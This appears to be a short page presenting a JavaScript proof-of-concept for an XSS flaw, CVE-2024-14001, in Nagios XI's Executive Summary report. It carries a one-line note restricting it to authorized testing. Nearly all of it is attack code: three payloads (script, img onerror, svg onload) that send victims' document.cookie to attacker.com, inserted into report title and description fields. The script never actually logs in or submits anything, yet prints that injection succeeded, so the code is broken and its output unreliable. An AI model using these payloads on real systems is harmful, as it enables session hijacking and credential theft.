CVE-2024-14001 Nagios XI 跨站脚本漏洞(XSS)

// CVE-2024-14001 PoC - Nagios XI XSS via Executive Summary Report // This PoC demonstrates how to exploit the XSS vulnerability in Nagios XI // Note: Only for authorized security testing const axios = require('axios'); async function exploitXSS(targetUrl, username, password) { // Step 1: Login to Nagios XI const loginUrl = `${targetUrl}/nagiosxi/login.php`; const session = axios.create({ withCredentials: true }); // Step 2: Navigate to Executive Summary Report const reportUrl = `${targetUrl}/nagiosxi/reports/executive_summary.php`; // Step 3: Inject XSS payload in report fields const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Alternative payloads: const imgPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">'; const svgPayload = '<svg onload="fetch(\'https://attacker.com/exfil?data=\'+btoa(document.cookie))">'; // Step 4: Submit the malicious report const reportData = { 'report_title': 'Executive Summary - ' + xssPayload, 'report_description': 'System report with ' + imgPayload, 'submit': 'Generate Report' }; // Step 5: Wait for victim to view the report console.log('XSS payload injected successfully'); console.log('Waiting for victim to view the malicious report...'); } // Usage: node cve-2024-14001-poc.js <target> <username> <password> exploitXSS(process.argv[2], process.argv[3], process.argv[4]);